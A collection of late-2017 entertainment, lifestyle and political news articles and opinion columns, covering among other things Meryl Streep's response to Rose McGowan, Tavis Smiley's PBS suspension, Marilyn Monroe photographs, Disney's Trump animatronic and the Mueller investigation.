Actresses, like Meryl Streep, who happily worked for The Pig Monster, are wearing black @GoldenGlobes in a silent protest, McGowan tweeted Saturday. YOUR SILENCE is THE problem. Youll accept a fake award breathlessly & affect no real change. I despise your hypocrisy. Maybe you should all wear Marchesa, the fashion line of Weinstein's ex-wife, Georgina Chapman.

In a statement from Streep provided to Fox News, the 68-year-old star explained that McGowan seemed to think Streep kept her mouth shut all these years, which she claims she couldnt have done given that she was completely unaware of what was going on.

It hurt to be attacked by Rose McGowan in banner headlines this weekend, but I want to let her know I did not know about Weinsteins crimes, not in the 90s when he attacked her, or through subsequent decades when he proceeded to attack others. Streep wrote. I wasnt deliberately silent. I didnt know. I dont tacitly approve of rape. I didnt know. I dont like young women being assaulted. I didnt know this was happening.

Streep went on to explain that her relationship with Weinstein over the years was strictly business. She said he neither accosted nor harassed, and she never had her career threatened like so many others who have come forward with accusations and stories about his misconduct. As for her relationship with McGowan, Streep claimed she gave the actress her home phone number and waited patiently for her to call so that they could clear up any misconceptions. However, she says McGowan has yet to reach out.

I hoped that she would give me a hearing. She did not, but I hope she reads this. I am truly sorry she sees me as an adversary, because we are both, together with all the women in our business, standing in defiance of the same implacable foe: a status quo that wants so badly to return to the bad old days, the old ways where women were used, abused and refused entry into the decision-making, top levels of the industry. Thats where the cover-ups convene. Those rooms must be disinfected, and integrated, before anything even begins to change.

While McGowan has yet to comment on Streep's response, she has walked back part of her statement against her. The star apparently regrets her final line, in which she suggests Streep wear clothes from Marchesa. As previously reported, McGowan has taken shots at both Chapman and her friend Alyssa Milano arguing that the former must have known about her ex-husband's misconduct and kept silent.

"The Marchesa line was beneath me and I'm sorry for that. Seeing that picture of Alyssa Milano with GC has ignited something in me that I can't quite articulate. There is no map for this road I'm on, I will f--- up. Peace be with you, go with Goddess."

You can read Streeps full statement below:

It hurt to be attacked by Rose McGowan in banner headlines this weekend, but I want to let her know I did not know about Weinsteins crimes, not in the 90s when he attacked her, or through subsequent decades when he proceeded to attack others. I wasnt deliberately silent. I didnt know. I dont tacitly approve of rape. I didnt know. I dont like young women being assaulted. I didnt know this was happening.

I dont know where Harvey lives, nor has he ever been to my home.

I have never in my life been invited to his hotel room.

I have been to his office once, for a meeting with Wes Craven for Music of the Heart in 1998.

HW distributed movies I made with other people.

HW was not a filmmaker; he was often a producer, primarily a marketer of films made by other people- some of them great, some not great. But not every actor, actress, and director who made films that HW distributed knew he abused women, or that he raped Rose in the 90s, other women before and others after, until they told us. We did not know that womens silence was purchased by him and his enablers.

HW needed us not to know this, because our association with him bought him credibility, an ability to lure young, aspiring women into circumstances where they would be hurt.

He needed me much more than I needed him and he made sure I didnt know. Apparently he hired ex Mossad operators to protect this information from becoming public. Rose and the scores of other victims of these powerful, moneyed, ruthless men face an adversary for whom Winning, at any and all costs, is the only acceptable outcome. Thats why a legal defense fund for victims is currently being assembled to which hundreds of good hearted people in our business will contribute, to bring down the bastards, and help victims fight this scourge within.

Rose assumed and broadcast something untrue about me, and I wanted to let her know the truth. Through friends who know her, I got my home phone number to her the minute I read the headlines. I sat by that phone all day yesterday and this morning, hoping to express both my deep respect for her and others bravery in exposing the monsters among us, and my sympathy for the untold, ongoing pain she suffers. No one can bring back what entitled bosses like Bill OReilly, Roger Ailes, and HW took from the women who endured attacks on their bodies and their ability to make a living.. And I hoped that she would give me a hearing. She did not, but I hope she reads this.

I am truly sorry she sees me as an adversary, because we are both, together with all the women in our business, standing in defiance of the same implacable foe: a status quo that wants so badly to return to the bad old days, the old ways where women were used, abused and refused entry into the decision-making, top levels of the industry. Thats where the cover-ups convene. Those rooms must be disinfected, and integrated, before anything even begins to change.
Talk show host Tavis Smiley told Fox News on Monday hes not sure why PBS suspended him and that the network has refused to reveal the specific allegations of sexual misconduct that have been levied against him.

"PBS to this very moment has not told me specifically what I am being suspended for," Smiley said during an interview on "Tucker Carlson Tonight," adding that he did not even know an investigation had begun until co-workers contacted him.

"PBS launched an investigation without telling me about it," he said. "I found out about it in the streets. When former colleagues of mine started calling me to tell me that they received strange phone calls and were asked strange questions from some investigator asking questions like, Did Tavis ever make you feel uncomfortable? Are there other persons we should talk to?"

"They started letting me know of these calls. Thats how I found out about this."

Smiley also said he tried to set up a meeting with officials at PBS, but was rebuffed for weeks and that it was only when his attorneys threatened to sue that they met with him.

"And in that three-hour conversation, they never told [me] what the accusations were," he said to Carlson. "Who the accusers were... I was never allowed to provide any data. Any evidence to debunk anything, perhaps I could have debunked."

Smiley continued, "They wouldnt allow me to present any evidence. And frankly, didnt give me due process... And on top of that, at this moment, they have not talked to anyone on my current staff who was in charge of HR. It's mind-boggling to me that they sort of played this game of pick-and-choose of who they want to talk to. All these persons they have talked to are former employees... some of them who were terminated."

Smiley excoriated PBS last Wednesday for suspending distribution of his long-running self-titled talk show, saying in a Facebook post that the networks "so-called investigation" into his alleged misconduct had been "biased and sloppy."

He reiterated those claims during his appearance on Fox News.

"There are any number of things they could have done and they just bungled this," he said. "Theyve engaged in a sloppy investigation and something needs to be done to fix this.

Smiley, whose nightly program had aired on PBS since 2004, flatly denied the networks accusations that he'd behaved inappropriately in the workplace.

He also went on ABC's "Good Morning America" Monday, reiterating that he never coerced anyone into a relationship but had consensual relationships in the workplace -- which he said was not against PBS' policies.

Smiley admitted that he's human and has made mistakes, but that they don't merit a suspension.

He said he applauds the women coming forward to share their sexual assault and harassment experiences "to lead us in a conversation about how to create healthy workspaces."

However, Smiley said it's important to not lose a sense of "proportionality" in the conversation, "because if we do, people end up being guilty simply by accusation."

PBS responded in a matter of hours, saying Smiley's acknowledgment of multiple relationships contradicted his previous statements.

"Tavis Smiley needs to get his story straight," it said in a statement, adding: "Additional allegations are continuing to come to light since last week's announcement."

PBS also fired back at Smiley's claim that he applauds women who have come forward, pointing out that Smiley's company hinders such actions by requiring former and current employees to sign non-disclosure agreements. "Witnesses who have bravely come forward to speak with the independent investigators retained by PBS report a fear of retribution for speaking out," the network said.

PBS suspended Smiley last week issuing a statement: "Effective today, PBS has indefinitely suspended distribution of Tavis Smiley, produced by TS Media, an independent production company."

While Smiley contends his innocence, PBS said in its statement the network "uncovered multiple, credible allegations of conduct that is inconsistent with the values and standards of PBS."

Smiley intends to fight the allegations.

Fox News Gregg Re and The Associated Press contributed to this report.
Not everyone can say theyve been given a bubble bath by Americas most famous sex symbol.

Joshua Greene earned that honor as a child, all thanks to his father, photographer Milton H. Greene, who was Marilyn Monroes beloved friend and former business partner.

Milton shot nearly 4,000 photos of the late actress between 1953 and 1957  and Joshua, who was trained by his father at age 11, expertly restored and preserved many of those unseen images in the new coffee table book The Essential Marilyn Monroe: 50 Sessions.

Its a release that has been more than 20 years in the making and features over 100 rare snaps.

It also chronicles the Hollywood star's close bond with Milton over the years before her death at age 36 in 1962.

Milton and Marilyns collaboration began in 1953 for Look Magazine  and the blonde bombshell was instantly impressed by what she witnessed.

A lot of the pictures were just candids that he shot at an unexpected [time], Joshua told Fox News. [That occurred] during the shoot or even between when she was just sitting around and having a cup of tea or coffee or when she was casually relaxing She was always comfortable with Milton.

"He wanted to take pictures of her almost as a character actress [in costume] And these photos werent for a particular assignment. They were explorations In time he got to know her in a more intimate way and she got to see herself portrayed in ways other than Hollywood style.

Marilyn, who was tired of being typecast as a dumb blonde, became inspired by the different personas she took on for Miltons camera. As the friendship grew, so did her determination to launch her own production company.

Marilyn fled Hollywood to New York and would go on to live with Miltons family in Connecticut as they hatched a plan to help her escape her film studio's tight grasp. By 1955, Marilyn Monroe Productions was born.

Milton said, You can live with my family, said Joshua. Ill pay for all your needs. And you can go to acting school, dancing school  whatever you want to do. Ill make sure youre covered. For about a year, she was in hiding. Nobody knew where she was.

"She wanted control of script approval, directing approval, take over her career and not be the dumb blond t**s and a** girl. Which is exactly what she hated and wanted to get away from. Milton wanted to be a producer and direct films. Its not a secret for a photographer wanting to do that.

Marilyn, who lived in a series of foster homes while growing up, discovered a sense of family with Milton.

She was an excellent houseguest according to my mom and dad, said Joshua. She was never needy. She would keep to herself. She knew she had the run of the house. The guest room had its own entrance and exit. They played charades and cards.

"Gene Kelly, who was probably one of the greatest charade players of all time, was unstoppable. Marilyn was always like a little girl watching a master at work because when Gene Kelly did his charades, everyone would stop in awe She loved to read and would sit quietly for hours and read books. And she loved music.

In private, Marilyn wasnt the glamour goddess depicted on screen. She was a woman who preferred flats over heels and looked forward to dining on potato salad and fried chicken. She also frequently listened to jazz and relished driving her 1955 Thunderbird alongside Milton with the top down while wearing a scarf and sunglasses.

She also loved babysitting Joshua.

She was always there to take care of me, he recalled. I had all the attention I needed I just thought she was a friend of my parents. I didnt know who she was She would grab me and tickle me until I screamed.

But Marilyn wasnt always playing house. During her time attending the Actors Studio in New York to work on her craft, she reportedly had an affair with Marlon Brando, which Milton captured during a photo session. That relationship didnt last, but she would eventually marry her third husband, playwright Arthur Miller, in 1956.

Thats when things took an unexpected turn.

Arthur Miller caused [their] partnership to end, claimed Joshua. When they were filming Prince and the Showgirl, which is famous for the problems on set Arthur, instead of being a supportive husband couldnt stand the idea that 49 percent of what was going into Marilyn Monroe Productions was going to my father. He thought 100 percent should go to Miller and Marilyn. But he didnt understand my fathers role.

"The constant pressure that Miller applied to Marilyn while she struggled to film eventually [she] told Milton, I cant do this anymore. I feel terrible. It was never the same. My father was disappointed in Marilyn.

The last collaboration Marilyn would share with Milton occurred in 1957 for Life Magazine to promote "The Prince and the Showgirl." Arthur and Marilyn divorced in 1961 after less than five years of marriage.

Milton and Marilyn would reconnect a month before she died in 1962.

My mother had a dream, said Joshua. She woke up my father and was like, You need to call Marilyn. You need to call her right now. I dont know what it is, but you need to call her. They havent spoken  were talking from 57 to 62. He called her on the phone and they talked for two and a half hours. They both loved being on the phone.

"Milton said, Look, Im going to Paris to do a collection, Ill be back in a month. Ill come out and see you and well spend some time together. Two and a half weeks by and he was still in Paris. A friend called and said, Have you seen the paper? Marilyn was found dead in her home in California.

Milton, who remained one of the most in-demand photographers throughout his life, died in 1985 at age 63.

His work with Marilyn continues to be celebrated today.

Milton realized what a wonderful chameleon Marilyn can be in front of the camera, said Joshua. They knowingly jumped off the cliff together, like Butch Cassidy and the Sundance Kid.
Matt Damon said on Monday that men in Hollywood who arent sexual predators should be talked about more  comments that drew rebuke from celebrities just days after he was criticized for another statement about recent sexual misconduct allegations.

Damon told Business Insider, while promoting his new movie Downsizing, that there was a whole stload of guys who arent sexual predators that go unnoticed.

"We're in this watershed moment, and it's great, but I think one thing that's not being talked about is there are a whole s--tload of guys  the preponderance of men I've worked with  who don't do this kind of thing and whose lives aren't going to be affected," Damon told Business Insider.

He added, "If I have to sign a sexual-harassment thing, I don't care, I'll sign it. I would have signed it before. I don't do that, and most of the people I know don't do that."

MATT DAMON SLAMMED BY EX MINNIE DRIVER OVER COMMENTS ABOUT SEXUAL MISCONDUCT

When asked if he would quit a movie if a Hollywood figure working on the project was accused of sexual misconduct, Damon responded: "I mean, I wouldn't want to work with somebody who  life's too short for that. But the question of if somebody had allegations against them, you know, it would be a case-by-case basis. You go, 'What's the story here?'"

Several celebrities, including Debra Messing and Rose McGowan, fired back at the 47-year-old actor for his comments.

Matt Damon- SERIOUSLY? You are a smart man. A privileged, white man. This is NOT the time to ask for a pat on the back," Messing tweeted. "How about we NOT celebrate men who are simply decent human beings. Stay on track, Matt. It's not about you."

McGowan, who has been vocal about Harvey Weinsteins alleged sexual misconduct, also tweeted: "Matt Damon is dense AF."

Matt Damon proving, once again, that nothing is more fragile than masculinity, Cher said. BTW, one should not need or require applause for being a decent human being and not harassing or assaulting others, Matt Damon.

Producer and director Warren Leight also tweeted: Matt Damon positioning himself for the remake of Dumb and Dumber.

WEINSTEIN WANTED $25M 'LIFELINE' FROM NETFLIX TO SAVE HIS OWN SKIN

Damon was also criticized last week after he said in an interview with ABC News Popcorn with Peter Travers that different actions shouldnt be placed in the same category.

"There's a difference between, you know, patting someone on the butt and rape or child molestation, right? Both of those behaviors need to be confronted and eradicated, without question, but they shouldn't be conflated, right?" Damon said.

Former co-star and ex-girlfriend Minnie Driver quickly slammed Damon for the remark.

Ive realized that most men, good men, the men that I love, there is a cut-off in their ability to understand. They simply cannot understand what abuse is like on a daily level, Driver told The Guardian.

I honestly think that until we get on the same page, you cant tell a woman about their abuse. A man cannot do that. No one can," she added.
Emmy-winning producer Ryan Murphy describes recreating the murder of fashion icon Gianni Versace for FXs The Assassination of Gianni Versace as one of the most emotional, profound and moving experiences of his career.

I never had a situation with anything I shot like this, Murphy said recently, addressing a New York audience at a screening of the upcoming miniseries first episode. The day we shot that the crew was crying, the actors were crying. It was very intense.

The nine-episode miniseries premieres Jan. 17 as the next installment of FXs American Crime Story anthology, and its already creating a lot of buzz in telling the tragic story of Versaces 1997 murder at the hands of serial killer Andrew Cunan  who gunned Versace down on the steps outside his mansion in Miami Beach (and later killed himself).

Murphy was joined on a panel with his stars: Edgar Ramirez, who plays Versace; Darren Criss, cast as Cunanan; and Ricky Martin as Versaces companion, Antonio DAmico  who cradled the fallen fashion giant as he bled out from a fatal head wound in the glaring Miami sun.

Murphy filmed in front of and inside Versaces former Miami villa, capturing the chaos and perversity of the scene: the desperation of DAmico as he waits for help; the almost pornographic fascination of the onlookers  one of whom dips a photo of Versace in the blood left on the steps to his home  and the bewilderment of the Miami police, who have no idea what theyre getting into. Watching the scene play out on the screen at Manhattans Metrograph theatre had a disorienting effect on Criss.

I was hit extremely hard by it because unlike a lot of other recreations on television it was not done on a soundstage, he says. Those were the stairs [of his actual house], that was the gate. Its public access. You can walk right up to it. They have such weight, especially in the context of our story. Being dressed as Andrew was, being a beautiful Miami day.

And then I got to walk though the damn gates and go sit in an air-conditioned room. And that hit me really hard. Andrew never got to go inside. I almost had guilt. Living with Andrew for so long, him reaching desperately for everything he couldnt have. And there I was just walking in.

The Versace villa is now a bed-and-breakfast. Murphy told The Post he was shocked when he received the permit to shoot there  but that the actors were obviously delighted.

I dont think I could have made the show if I couldnt have gotten that house, he says. There was no way you could build [a set] of it. Two of the rooms were made out of seashells. [Gianni Versaces sister] Donatella [Versace] took all the furniture and the art when she sold the house, but through pictures we were able to recreate them.

It adds something to the performance. he says. When Edgar Ramirez goes to those Biedermeier closets [in Versaces bedroom], they were the same closets Versace spent a year building and theyve been lovingly maintained. They were extraordinary.

This article originally apeared on Page Six.
Rob Lowe showed his appreciation for the California firefighters fighting the wildfires by hosting some of them at his house for dinner over the weekend.

The West Wing alum shared a photo of them gathered in his kitchen sharing spaghetti, cheeseburgers and other delicious foods.

Dinner for new friends at our house, Lowe captioned the picture.

The Cal Fire crews have been trying to extinguish the ongoing Thomas fire, which continues to threaten more homes. In another photo, Lowe grabbed a hose to help put out some flames.

Helping earlier today, he wrote. You do what you can, but when its time.. you GO.

Ellen DeGeneres, Kimora Lee Simmons, Lea Michele, Paris Hilton and more have been forced to evacuate.

This article originally appeared in Page Six.
Did Disney mess up its animatronic Trump?

Walt Disney World has been preparing to add Donald Trump to its Hall of Presidents since before he took office. Just over a year later, the park is finally unveiling the fruits of its long-awaited labor  and early reviews on Twitter are mixed.

More than one has even stated that the animatronic likeness looks more like Oscar-winning actor Jon Voight than Trump.

The park opened up its refurbished Hall of Presidents attraction for a sneak peek on Dec. 18 ahead of its official debut on Tuesday, giving park-goers a first look at its new audio-animatronic likeness of the 45th commander in chief. The new Trump is said to feature the latest advances in technology that enable smoother and more lifelike movements, according to the official Disney Parks Blog.

DISNEY DEBUNKS RUMORS ABOUT TRUMP'S HALL OF PRESIDENT LIKENESS

But while Disney may have captured the presidents animated hand movements very faithfully, the robots physical appearance isnt winning praise on Twitter. Commenters have already compared Disneys Trump-bot to Jon Voight, but also Angela Lansbury, the character of Biff Tannen from Back to the Future: Part 2 and even Hillary Clinton, his opponent in the 2016 presidential election.

FATHER AND DAUGHTER RIDE ALL 49 DISNEY WORLD RIDES IN ONE DAY

Others simply found the Trump likeness to be off-putting, or less-than-faithful to President Trump.

Regardless, theres no arguing that Disney got Trumps voice right. The park confirmed that President Trump had recorded his own dialogue to be spoken by his animatronic likeness, despite earlier reports to the contrary, which Disney was forced to debunk in June.

Following an introduction from the attractions animatronic George Washington, President Trumps likeness recites his oath of office before launching into a minute-long speech, per a YouTube clip shared by WDWMagic.

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From the beginning, America has been a nation defined by its people, says Disneys Trump, who is dressed in his signature tie and unbuttoned jacket. At our founding, it was the American people who rose up to defend our freedoms and win our independence.

Above all, to be American is to be an optimist  to believe that we can always do better  and that the best days of our great nation are still ahead of us, Trump concludes in a later snippet.

Its a privilege to serve as the President of the United States, to stand here among so many great leaders of our past, and to work on behalf of the American people.
The beloved coffee and doughnut chain is trying its hand at something a little more adult.

Dunkin Donuts has announced they will be releasing a specialty dark beer, brewed with their own Dunkin Donuts Dark Roast Coffee, to celebrate winter solstice.

The beer was created in collaboration with Wormtown Brewery in nearby Worcester, MA, where one of the first Dunkin Donuts started.

DUNKIN' DONUTS REVEALS COOKIE-INSPIRED HOLIDAY FLAVORS

Were thrilled to partner with Wormtown to launch DDark Roasted Brew, Rob Branca, a local Dunkin Donuts franchise owner in Worcester, said in a statement to Food & Drink. Worcester is home to one of the first Dunkin Donuts restaurants so we know how much residents love the brand and our coffee. This partnership with Wormtown continues to drive innovation in Worcester and we are excited to brew up something extra bold to help our loyal guests to celebrate the darkest day of the year.

The Canton, Massachusetts-based outfit will be releasing their limited-edition brew at 11:28 a.m. on December 21, exclusively at the Wormtown Brewery taproom.

The signature DDark Roasted Brew features full-roasted coffee flavor reminiscent of freshly-ground beans with a creamy mouthfeel, the doughnut brand said in a press release.

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This isnt the first foray into beer for the doughnut shop  in September, Dunkin Doughnuts worked on a collaboration with North Carolina-based Catawba Brewing Company to celebrate National Coffee Day. The Dunkin Punkin Brown Ale was brewed with original Dunkin Donuts flavoring, Food & Drink reports.
When it comes to Ina Gartens dream cuisine, its no surprise that the celebrity chef is seriously passionate about seasonal fruit and has eaten the same, healthy breakfast every day for 10 years. What may come as a bit of a shock, though, is that even the Barefoot Contessa has a fast-food weakness.

CASEY WEBB OF 'MAN. V. FOOD' NAMES TWO OF HIS FAVORITE 'FOOD CITIES'

"I have to say, I don't eat fast food at all, with one exception," she dished to Today on Dec. 18. "When we're in California doing book tours, we always have to go to In-N-Out Burger. It's so good and I know it was Julia Child's favorite too, so it's OK."

The celebrity chef didnt share her order, so one can only wonder if Garten takes her fries animal-style, or orders the double-double with mustard-grilled onions or chopped chilies.

ARBY'S IS REWARDING MEAT LOVERS WITH LIMITED-EDITION MEAT SWEATS

Later in the interview, Garten revealed that her go-to last meal would be a hot dog and French fries from Frenchie to Go in Paris, which she described as unbelievable.

Anyone else in the mood for some fast food?

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When the North Korean soldier who made a daring escape to the South last month woke up from surgery, all he wanted was an Orion Choco Pie  now he will have a supply of sweet treats to enjoy for the rest of his life.

HERSHEY'S RELEASES FIRST NEW FLAVOR IN 20 YEARS, AND IT ISN'T CHOCOLATE

The 24-year-old defector, identified as Oh, endured two surgeries after he was shot five times by his fellow comrades while he dashed across the Joint Security Area. When he woke up from surgery at the Ajou University Hospital in South Korea, he told doctors he was craving a Choco Pie  a small round cake with marshmallow filling and chocolate covering that is produced by South Korean snack firm Orion, the Korea Herald reported.

Orion heard about the defectors craving for the popular snack and decided to send him boxes to welcome him to South Korea. The company sent 100 boxes to the hospital to start off.

We sent the Choco Pies as a welcoming present to Oh, who came to Korea after going through hardship. It was not an act for publicity, an Orion spokesperson told the Korea Herald.

Oh told officials he knew about the sweet snacks after North Korean workers got a hold of them at the Kaesong Industrial Complex, located across the demilitarized zone, where South Korean companies could manufacture their products using North Korean labor.

Operations at the complex were suspended in February 2016, according to the BBC, but North Koreans had already developed a sweet, unshakeable tooth for the Choco Pies.

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A Tennessee woman gave birth to a baby who had been frozen as an embryo for more than 24 years  the longest known frozen human embryo to come to birth.

The National Embryo Donation Center (NEDC) announced Tuesday that Emma Wren was born on Nov. 25 to Tina Gibson, who is 26.

This means Gibson carried an embryo that was conceived about 18 months after she herself was born, a press release stated.

Baby Emma was cryopreserved in 1992 and placed in Tinas uterus through frozen embryo transfer earlier this year.

PEDIATRICIAN MEETS TEEN ORGAN DONORS FAMILY IN EMOTIONAL UNION

Emma is such a sweet miracle, Benjamin Gibson, Tinas husband, said. I think she looks pretty perfect to have been frozen all those years ago.

Dr. Jeffrey Kennan, NEDC's director, said he hoped Emmas story inspires others to donate their embryos to families in need.

Nearly 700 pregnancies have been possible thanks to the centers adoption program, according to NEDC, which has received donated embryos from all over the U.S.

OPIOID EPIDEMIC BURDENING GRANDPARENTS, FOSTER CARE

It is deeply moving and highly rewarding to see that embryos frozen 24.5 years ago using the old, early cryopreservation techniques of slow freezing on day one of development at the pronuclear stage can result in 100 percent survival of the embryos with a 100 percent continued proper development to the Day-3 embryo stage, said NEDC Lab Director, Carol Sommerfelt.

Emma weighed 6 lbs., 8oz. and was about 20 inches long at birth, WND reported.
A Menomonie, WI, firefighter gave his girlfriend a special Christmas surprise Thursday night at the Winter Daze Parade in Menomonie, Wisconsin.

Matt Poliak was marching in the parade with his fellow firefighters alongside their decorated fire engine. His girlfriend of two years, Grace Johnson, was watching with her two-year-old daughter Isla.

When Poliak came to where they were sitting, the procession stopped and he beckoned them to come out to the street.

That's when he got down on a knee - not once, but twice.

To the excitement of the crowd, he proposed to his girlfriend and her daughter with two diamond engagement rings. And of course, they both said yes.

This article originally appeared on FOX 9.
Five years ago, at age 24, model Lauren Wasser nearly died from toxic shock after using a tampon, which resulted in her losing her right leg and part of her left foot. Now, she may lose her entire left leg as well.

Had I known toxic shock was real, and had I seen someone that had either lost limbs or spoke about it publicly, I would have never used tampons, Wasser told People.

WISCONSIN FIREFIGHTER PROPOSES TO GIRLFRIEND AND HER DAUGHTER AT PARADE

Toxic Shock Syndrome is a life-threatening complication caused by toxins from the bacteria Staphylococcus aureus, or staph, which is found in many women's bodies. TSS is linked primarily to menstruating women, especially those who use super-absorbent tampons, and made headlines in the 1970s and 1980s for causing the death of several young women.

The model, who now appears on runways and ad campaigns with her gold prosthetic leg, is still struggling with the damage left behind from TSS. At the time of the initial incident in 2012, Wasser told Vice that doctors wanted to amputate both legs, but she fought to keep the left one.

Now, however, she faces the possibility of becoming a double-amputee. I'm in excruciating pain every day, she told the Post.

Wasser has made it her mission to warn other women about the risks associated with using tampons, as well as advocate for more transparency regarding feminine hygiene products. I think this is my purpose and I wouldn't change it for the world, she recently told The Washington Post.

Besides being a public advocate and speaking out about the disease that changed her life, Wasser is also working with Congresswoman Carolyn Maloney of New York to promote legislation that calls for the National Institutes of Health to help determine whether certain elements of feminine hygiene products are safe, the Post reports.

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Toxic Shock Syndrome cost me my leg, but, years later, I have since dedicated myself to raising awareness about TSS prevention, Wasser wrote in an Op-Ed for InStyle last month. I want to educate women about the potential risks of using tampons. TSS has been killing and harming women for more than 30 years: let that sink in. How many lives is it going to take for something to change?
Although the poinsettia is known as the Christmas Flower, its famous velvety red petals are actually leaves.

Its flowers are the tiny yellow flowers in the center, Todd Jacobson, head of horticulture at the Morton Arboretum in Illinois, told the Chicago Tribune. The red, crimson leaves are called bracts.

The holiday bloom originally came from the understory of moist, warm, low-altitude forests in Mexico and Central America, the newspaper reported. Mexicans call it flor de nochebuena (Christmas Eve flower), because the Christmas plant turns red just before the holiday.

In 1828, Joel Poinsett, then the U.S. ambassador to Mexico, sent a clipping of the plant back to his home in South Carolina, KXTV reported. After sharing the plant with people, it was eventually called the Poinsettia, taking after his last name.

Then, nearly a century ago, a California entrepreneur, Paul Ecke, made poinsettias a holiday season mainstay, Discover Magazine reported.

Ecke figured out how to grow poinsettias as an indoor potted plant, the magazine reported. When the family business was sold in 2012, the company controlled half of the worldwide poinsettia market.

Today poinsettia sales account for about a quarter of all flower sales in the U.S., and California is the top producer, KXTV reported.
You wouldve thought they were preparing for the apocalypse.

Former Obama White House Ethics Chief, Walter Shaub, tweeted that he was stocking up on gear to take the streets. In his words, it was supposed to be a defining moment for the Republic.

Actor-turned-activist George Takei tweeted that Americans should shut the country down.

Cenk Uygur, the founder and CEO of far-left online news show The Young Turks prophesied that this should be an uprising like weve never seen in America.

When asked about the firing on Sunday night, the president shut down all of the rumors (and all of their plans) by simply declaring, no, Im not.

Former Attorney General Eric Holder drew what he called an absolute red line.

Their message was clear: if President Trump fires special counsel Robert Mueller, the American people should act as if their 241-year-old experiment in democracy has come to an end.

But unfortunately, when asked about the firing on Sunday night, the president shut down all of the rumors (and all of their plans) by simply declaring, no, Im not. In an instant, he vanquished all the lefts dreams of sparking a Tahrir square like uprising and made their hysterics over the potential firing appear foolish.

Make no mistake. The left will soon decide on another issue (or rumor of an issue) to incense their base and stir outrage in our country. Eventually, theyll decide on a new red line and then pray that the president crosses it. Their dream of widespread panic isnt going awayits just deferred for a little while.

Heres the problem.

First, regardless of their empty assurances that their uprising will be peacefultheir rhetoric says otherwise. They pay lip service to holding a peaceful protest while using inflammatory language like stock up on gear and shut down the country. But if there is anything that Antifa has taught the United States, its that there are plenty members of the far-left with no intentions of keeping the peace.

You cant spew alarmist, end-of-the-world rhetoric and then expect your base to respond with careful, dignified street protests.

You cant spew alarmist, end-of-the-world rhetoric and then expect your base to respond with careful, dignified street protests. It doesnt work that way. Leaders have a unique duty to dial down their followers radical impulses. Instead, it seems that some culture leaders prefer to do quite the contrary.

Second, liberals selective outrage is appalling. Moveon.org, the organization behind the protests, made their motto nobody is above the law. Ostensibly, thats an idea that both sides of the aisle could get behind. Patriotic Americans would agree that all citizens are equal under the law. But to many who hold progressive political views, that idea only applies to one side of the political spectrum.

Notably, these same activists made no such calls for mass protests after former FBI Director James Comey cleared Hillary Clinton of criminal charges a year ago. And there was no indignation from these folks after it came to light that the FBI softened the language in Comeys statement in her favor. Thats why its difficult to believe that these activists are genuinely motivated to uphold the rule of law, and not just their own political ideologies.

One thing is true: the Presidents words may have temporarily halted what the left saw as a defining moment for the republic. But they will find new opportunities. New pots to stir. And new calls for chaos.
President Trumps recent comments about Special Counsel Robert Muellers investigation into possible collusion between the Trump presidential campaign and the Russian government have taken on a notably more aggressive tone. This indicates a shift in the Trump administrations strategy for handling Muellers probe.

As of now, there is no evidence that President Trump plans to fire Mueller. Whether this decision is his alone or is solely a result of the stern direction of his advisers, it is definitely the wise choice. Firing Mueller would be politically risky and could potentially ignite a constitutional crisis.

However, there are other potential moves related to Muellers investigation that President Trump could make that could create a constitutional crisis as well, most of which are far more likely than the president firing Mueller.

For one, President Trump could pardon Michael Flynn, his former national security adviser. Flynn recently pleaded guilty to making false statements to the FBI regarding his meeting with Sergey Kislyak, who was at the time Russias ambassador to the U.S.

During the summer, in the weeks leading up to the president pardoning beleaguered former Sheriff Joe Arpaio of Arizona for Arpaios conviction of criminal contempt of court, President Trump hinted that Flynn may receive the same relief if he were to be indicted.

Well see, President Trump responded in the summer when asked whether he would pardon Flynn.

And last Friday the president again refused to say if he would consider pardoning Flynn.

I dont want to talk about pardons for Michael Flynn yet. Well see what happens, President Trump told reporters Friday. Lets see, I can say this: When you look at whats gone on with the FBI and the Justice Department, people are very, very angry.

However, White House lawyer Ty Cobb said later in an email to The Hill newspaper: No  there is no consideration at the White House of pardoning Michael Flynn.

If President Trump were to pardon Flynn the political fallout would be substantial. Such a pardon would give both the special counsels office and the American public more of a reason to believe that there was collusion.

Another potential pardon that President Trump could grant would be to Jared Kushner, his senior adviser and son-in-law.

Though no official charges have been brought against Kushner, he is now a focal point of Muellers investigation and he clearly knows it. This past week, Kushners lawyer, Abbe Lowell, solicited the services of at least two crisis-management public relations firms.

It is evident that Kushner is in the crosshairs, and an indictment within the next couple of months is possible. Kushner worked closely with Flynn in setting up meetings with the Russians and facilitating foreign outreach, much of which was not initially reported on his financial disclosure forms, signaling that he may have something to hide.

This all comes on the heels of revelations about members of Muellers investigative team. Over 300 text messages between Peter Strzok, the top FBI agent on Robert Muellers team, and Lisa Page, an FBI lawyer also on Muellers team, were recently released. The text messages involve the two speaking negatively about Donald Trump and reveal their clear favoritism towards Hillary Clinton.

It is clear that President Trump is gathering ammunition to prepare a counter narrative, and wants the ability to attack the integrity of the Mueller investigation. This breakdown in the confidence of the investigation is shaping up to be a profound moment, as there is a clear complicity with Hillary Clinton in the FBI.

President Trump is arguably correct to question the integrity of the FBI in relation to Clinton. The FBI has exhibited no investigative call-to-action over the fact that the Clinton campaign funded the so-called Steele dossier that was laden with inflammatory allegations against then- candidate Trump. The FBI has also paid little mind to the implications for Clinton of the sale of a U.S. uranium company, now called Uranium One, to a Russian company.

I fully agree that the FBI should be investigating all possible events of coordination and collusion by both campaigns, not just by the Trump campaign. This includes potentially criminal events tied to Democratic National Committee funding, the Steele Dossier, Uranium One and anything else where the American people are demanding answers.

The lack of FBI scrutiny of Hillary Clintons actions is allowing President Trump to construct a persuasive counter-narrative that paints the FBI as biased and untrustworthy. This could be used to defend against possible future accusations against the president or his campaign.

President Trumps legal strategy so far has been to cooperate with Muellers probe. Clearly, as Muellers investigation intensifies, this may no longer be the case.

Given the allegations against Mueller by President Trumps lawyer that Mueller inappropriately accessed documents from the transition  in conjunction with the argument by the lawyer for former campaign chairman Paul Manaforts that the search was overbroad  the Trump teams defense is clearly shifting strategy. It is now focused on discrediting Muellers investigation in any way possible.

It remains to be seen whether the Trump teams new attacks against the FBI will produce the desired outcomes. However, it is clear that discrediting the Mueller teams work as biased against the president and lacking investigative integrity is the most solid defense that the Trump team has.
